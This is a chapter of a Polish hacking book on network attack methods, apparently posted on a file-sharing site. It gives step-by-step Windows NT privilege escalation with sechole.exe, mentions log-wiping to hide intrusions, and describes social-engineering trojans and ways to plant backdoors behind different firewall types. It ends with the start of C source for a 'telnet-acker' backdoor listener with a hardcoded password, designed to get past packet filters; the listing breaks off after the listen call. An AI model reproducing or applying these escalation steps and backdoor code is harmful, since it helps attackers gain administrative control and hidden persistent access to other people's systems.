07.doc

(1203 KB) Pobierz
Rozdział X

 

Rozdział 7. ¨ Metody przeprowadzania ataków              399



Rozdział 7.
Metody
przeprowadzania ataków

W niniejszym rozdziale zajmiemy się technikami włamań do sieci, stosowanymi jako potwierdzenie (lub w celu wykorzystania) istnienia luk w zabezpieczeniach, wykrytych w trakcie wcześniejszych faz analizy zabezpieczeń: rozpoznania (discovery) i skanowania ośrodka (site scan), które opisujemy w rozdziale 4. Hakerzy wykorzystują je do uzyskania dostępu na poziomie administracyjnym i przeprowadzania włamań, prowadzących do przejęcia kontroli nad komputerem, serwerem czy elementem wyposażenia sieciowego.

Aby uświadomić znaczenie takich ataków, w przypadku gdy nie są stosowane odpowiednie zasady zabezpieczeń, rozważymy kilka przykładów praktycznych.

Aby korzystać w pełni z informacji przedstawionych w tym i dalszych rozdziałach (i stać się prawdziwym guru), niezbędna jest dobra znajomość programowania, a zwłaszcza zasad wewnętrznego funkcjonowania programów. Na początek wystarczy pełne zrozumienie rozdziału 6., Podstawy programowania dla hakerów. Pożyteczne może być również skorzystanie z innych publikacji oferowanych w witrynie wydawnictwa, www.helion.pl.

Streszczenie przypadku

Rozpoczniemy od przeanalizowania typowego przykładu włamania do sieci Microsoft Windows NT. Dzięki wykorzystaniu usług systemu operacyjnego aplikacja może zlokalizować określone wywołanie API w pamięci procesu, zmodyfikować instrukcje i uzyskać dostęp do systemu na poziomie debugowania. Od tego momentu połączony z systemem włamywacz ma zapewnione pełne prawa grupy Administrators (administratorzy) lokalnej bazy SAM (Security Accounts Manager, menedżer kont zabezpieczeń).

Przyjrzyjmy się tego rodzaju „przeniknięciu” bliżej. Poniższe kroki opisują, jak dowolny użytkownik, nieposiadający praw administracyjnych w sieci Windows NT, może uzyskać pełną władzę nad komputerem pracującym pod kontrolą systemu Windows NT 3.51, 4.0 lub 2000 (Workstation lub Server).

1.                                Logowanie. Logujemy się jako dowolny użytkownik komputera, choćby Guest (gość).

2.                                Kopiowanie plików. Po zalogowaniu kopiujemy pliki sechole.exe i admindll.dll na dysk twardy do dowolnego katalogu, dla którego mamy uprawnienia zapisywania i uruchamiania plików.

3.                                Uruchomienie Sechole.exe. Uruchamiamy program sechole.exe (należy mieć świadomość, że wtedy system może utracić stabilność lub zawiesić się).

4.        Ponowne uruchomienie, jeżeli konieczne. Gotowe! Wcześniejszy „zwykły” użytkownik należy teraz do grupy Administrators (administratorzy), co zapewnia mu pełną kontrolę nad komputerem.

Przedstawiane w niniejszym rozdziale programy umieszczone zostały na dołączonym do książki CD-ROM-ie.

Włamanie takie, przeprowadzane na niezabezpieczonym serwerze sieciowym, mogłoby stać się koszmarem dla jego obsługi, zwłaszcza gdy dodatkowo skorzystamy z programu typu log basher (opisanego w dalszej części rozdziału), który zniszczy wszelkie ślady włamania. Ataki tego rodzaju podejmowane są z wnętrza organizacji albo za pośrednictwem połączeń zdalnego dostępu (poprzez sieci zewnętrzne lub VPN).

Przejdźmy teraz do przeglądu tajemnych sposobów i technik wykorzystywania luk w zabezpieczeniach zarówno lokalnie, jak i zdalnie.

„Tylne wejścia” (backdoors)

„Tylne wejście” (backdoor) to środek lub technika stosowana przez hakera do uzyskania dostępu do systemu sieciowego, utrzymania go i korzystania z niego. W szerszym znaczeniu określa się w ten sposób lukę w systemie zabezpieczeń. Dla hakera istotne jest zachowanie możliwości dostępu do raz „złamanego” systemu, również w obliczu wprowadzania nowych zapór, filtrów, serwerów proxy czy uaktualnień.

„Tylne wejścia” dzielą się na dwie kategorie: aktywne i pasywne. Aktywne mogą być wykorzystywane w dowolnym czasie. „Tylnego wejścia” pasywnego użyć można dopiero po pewnym czasie lub po wystąpieniu określonego zdarzenia systemowego. Wybór pomiędzy nimi uzależniony powinien być od architektury bram zabezpieczających sieć. Zabezpieczenia sieci opierają się na wymienionych wcześniej elementach pośredniczących: zaporach, filtrach i serwerach proxy. Dla uproszczenia wprowadzimy teraz podział na dwie podstawowe kategorie architektury bram: filtr pakietów i zapora proxy. Każda z nich ma swoją odmianę zaawansowaną.

Filtr pakietów

Filtr pakietów (packet filter) to stacja lub router testujący każdy pakiet pod kątem zasady (reguły), która warunkuje jego przekazanie do sieci lub węzła docelowego za pośrednictwem odpowiedniego przyłącza. Typowe zasady filtrowania zakładają odrzucanie pakietów ICMP, UDP i nadchodzących pakietów SYN/ACK, które inicjują sesję z zewnątrz. Najprostsze filtry tego rodzaju biorą pod uwagę jedynie stację źródłową, stację docelową i port docelowy. Odmiany zaawansowane mogą uwzględniać dodatkowo przyłącze, z którego pakiet został odebrany, port źródłowy, a także znaczniki nagłówka. Przykładem filtru pakietów może być dowolny prosty router Cisco czy stacja UNIX z demonem zapory firewall. Jeżeli router został skonfigurowany do przekazywania określonego protokołu, stacja zewnętrzna może wykorzystać ten protokół do ustanowienia bezpośredniego połączenia ze stacją wewnętrzną. Większość routerów przewiduje możliwość generowania dzienników inspekcji. Typową funkcją są również alarmy wzbudzane przez działania „podejrzane”.

Zasadniczą wadą filtrów pakietów jest kłopotliwe zarządzanie. Wraz ze wzrostem złożoności reguł coraz łatwiej o omyłkowe zdefiniowanie zasad sprzecznych lub dopuszczających pakiety niepożądane. Hakerzy wiedzą również, że w tego rodzaju architekturach występują liczne luki w zabezpieczeniach. Mimo to, filtry pakietów znajdują zastosowanie głównie jako pierwsza linia obrony poprzedzająca zaporę firewall. Współcześnie wiele zapór firewall integrowanych jest z filtrami pakietów na poziomie modułu jądra (kernela) międzysieciowego systemu operacyjnego (IOS, internetworking operating system).

Filtr stanowy

Filtr stanowy (stateful filter) to rozbudowana wersja filtru pakietów, dostarczająca tych samych funkcji co poprzednik i dodatkowo śledząca informacje o stanie sesji (jak numery sekwencyjne TCP). Podstawowym wyróżnikiem filtrów stanowych jest więc utrzy­mywanie informacji o połączeniach. Przykładami tego typu rozwiązań mogą być Cisco PIX, Checkpoint FireWall-1 i Watchguard.

Praca filtru stanowego polega na analizowaniu danych na najniższych poziomach stosu protokołów w celu porównania sesji bieżącej z wcześniejszymi — pozwala to wykryć sesje o „podejrzanym” przebiegu. W przeciwieństwie do bram proxy poziomu aplikacji badanie stanowe oparte jest na regułach zdefiniowanych przez użytkownika. Nie są to więc jedynie predefiniowane informacje o pracy aplikacji. Badanie stanowe wymaga również mniejszej mocy przetwarzania. Wadą tego rozwiązania jest brak możliwości rozpoznawania poszczególnych aplikacji, co uniemożliwia odpowiednie różnicowanie reguł.

Zapora proxy

Zapora proxy (proxy firewall) to nic więcej jak serwer z dwoma kartami sieciowymi, na którym wyłączono routing (przekazywanie pakietów), a włączono demona serwera proxy. Dla każdej aplikacji wymagającej komunikacji za pośrednictwem takiej bramy, musi zostać zainstalowane odpowiednie oprogramowanie. Pojedynczy serwer proxy pośredniczy w komunikacji z pewną liczbą serwerów innego typu, zapewniając maskowanie, funkcje zapory, buforowanie lub połączenie tych mechanizmów.

Jako synonimu serwera proxy używa się często terminu brama (gateway). Wynika to stąd, że w typowych zastosowaniach serwer proxy używany jest w przedsiębiorstwie do przejmowania wszystkich kierowanych do Internetu żądań, przekazywania ich do serwerów, odbierania odpowiedzi i zwracania ich do inicjatora takiej wymiany informacji (za pomocą agenta proxy, który działa w imieniu użytkownika, realizując połączenie ze zdalną stacją bądź usługą).

Brama proxy poziomu aplikacji

Brama proxy poziomu aplikacji (application proxy gateway) to rozbudowana wersja zapory proxy. Również i to rozwiązanie wymaga odpowiedniego oprogramowania dla każdej korzystającej z zapory aplikacji. Różnica polega na tym, że brama poziomu aplikacji obejmuje zintegrowane moduły sprawdzające każde żądanie i odpowiedź. Przykładem może być strumień wychodzącego połączenia FTP, który może wyłącznie pobierać dane. Bramy poziomu aplikacji analizują dane warstwy aplikacji i służą jako proxy dla użytkowników z zewnątrz, przechwytując pakiety i przekazując je aplikacji. Pozwala to uniknąć tworzenia bezpośrednich połączeń użytkowników z zewnątrz z chronionym obszarem sieci. Analizowanie danych poziomu aplikacji oznacza, że zapora inaczej traktuje pakiety FTP, a inaczej SMTP. Zapewniana jest w ten sposób ochrona każdej obsługiwanej aplikacji.

Większość architektur zabezpieczeń wyróżnia się, charakterystycznymi wyłącznie dla nich samych, lukami w zabezpieczeniach. Ich przegląd przedstawiamy w rozdziale 8.

Zakładanie „tylnego wejścia”

Gdy stosowane są zapory, wykorzystanie luki w zabezpieczeniach w celu założenia „tylnego wejścia” nie jest zadaniem prostym. Warunkiem udanej operacji jest jej dokładne zaplanowanie. Zazwyczaj wymagane są cztery kroki.

t   Przejęcie połączenia wirtualnego. Oznacza to przejęcie zdalnej sesji Telnet, tunelu VPN lub sesji „secure-ID”.

t   Wprowadzenie agenta. Oznacza to znalezienie użytkownika, informatyka lub innej osoby i poddanie jej inżynierii społecznej (oszukanie), aby zainstalowała „zestaw tylnego wejścia” (backdoor kit) w sieci docelowej. Najprostszą i najpopularniejszą odmianą tego rodzaju operacji jest wysłanie do osoby „z wewnątrz” sfałszowanej wiadomości e-mail z załączonym koniem trojańskim.

t   Wykorzystanie podatności wewnętrznej. Większość sieci oferuje pewien zestaw usług — e-mail, DNS, WWW, itp. — w tzw. strefie zdemilitaryzowanej (DMZ, demilitarized zone; strefa poprzedzająca zaporę, często słabo chroniona). Usługi te często poddają się atakom i dają duże szanse na uzyskanie dostępu. Warto też pamiętać, że na wielu zaporach uruchamiane są demony przekazywania poczty.

 

t   Wykorzystanie podatności zewnętrznej. Oznacza to włamanie przez zewnętrzny serwer poczty, demon serwera HTTP lub usługę Telnet pracującą na bramie zewnętrznej Większość stosowanych powszechnie zasad zabezpieczeń zakwalifikować można jako typowe lub niekompletne, stąd ich podatność i łatwość wywołania co najmniej efektu przepełnienia bufora.

Ponieważ wszelkie poważne systemy podlegają systematycznemu monitorowaniu i przeglądom, doświadczony haker nie będzie umieszczał swojego „tylnego wejścia” na komputerze bezpośrednio przyłączonym do segmentu zapory. Najlepszym celem są wewnętrzne węzły sieci lokalnej, często w ogóle niezabezpieczane i niepodlegające profesjonalnej administracji.

Statystyki wykazują, że 7 z 10 mających dostęp do Internetu węzłów, czy to przed, czy za zaporą firewall, może zostać wykorzystanych do zainstalowania konia trojańskiego lub innego rodzaju „tylnego wejścia”. Cały Internet jest regularnie skanowany przez hakerów w poszukiwaniu zainstalowanych programów tego typu.

Typowe techniki „tylnego wejścia”

Opiszemy teraz popularne techniki „tylnego wejścia” z podziałem na opisane wcześniej kategorie architektury zabezpieczeń.

Filtry pakietów

Routery i bramy służące jako filtry pakietów łączy jedna wspólna cecha: możliwość nawiązywania połączeń administracyjnych Telnet. Technika telnet-acker jest przykładem „tylnego wejścia”, które pozwala na ominięcie tych filtrów. Program działa podobnie jak standardowy demon Telnet, nie formułując jednak w pełni, charakterystycznej dla protokołu TCP, wymiany potwierdzeń (handshaking). Wykorzystywany jest jedynie pakiet TCP z ustawionym bitem ACK. Ponieważ pakiety tego rodzaju rozpoznawane są jako „dopasowane” do pakietów połączenia ustanowionego wcześniej, ich przekazywanie nie jest blokowane. Oto przykład.

telnet-acker.c

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <sys/resource.h>

#include <sys/wait.h>

#include <fcntl.h>

#include <errno.h>

#include <netinet/in.h>

#include <netdb.h>

#include <arpa/inet.h>

#include <sys/ioctl.h>

#define    QLEN           5

#define    MY_PASS        "passme"

#define    SERV_TCP_PORT  33333

 

/*"Telnet na adres/port. Wciśnij 1x [ENTER], hasło,"*/

/*"Stacja i port 23."*/

 

char sbuf[2048], cbuf[2048];

extern int errno;

extern char *sys_errlist[];

void reaper();

int main();

void telcli();

 

int main(argc, argv)

int argc;

char *argv[];

{

    int srv_fd, rem_fd, rem_len, opt = 1;

    struct sockaddr_in rem_addr, srv_addr;

    bzero((char *) &rem_addr, sizeof(rem_addr));

    bzero((char *) &srv_addr, sizeof(srv_addr));

    srv_addr.sin_family = AF_INET;

    srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);

    srv_addr.sin_port = htons(SERV_TCP_PORT);

    srv_fd = socket(PF_INET, SOCK_STREAM, 0);

    if (bind(srv_fd, (struct sockaddr *) &srv_addr, sizeof(srv_addr)) == -1) {

        perror("bind");

        exit(-1);

    }

    listen(srv_fd, QLEN);

...

Zgłoś jeśli naruszono regulamin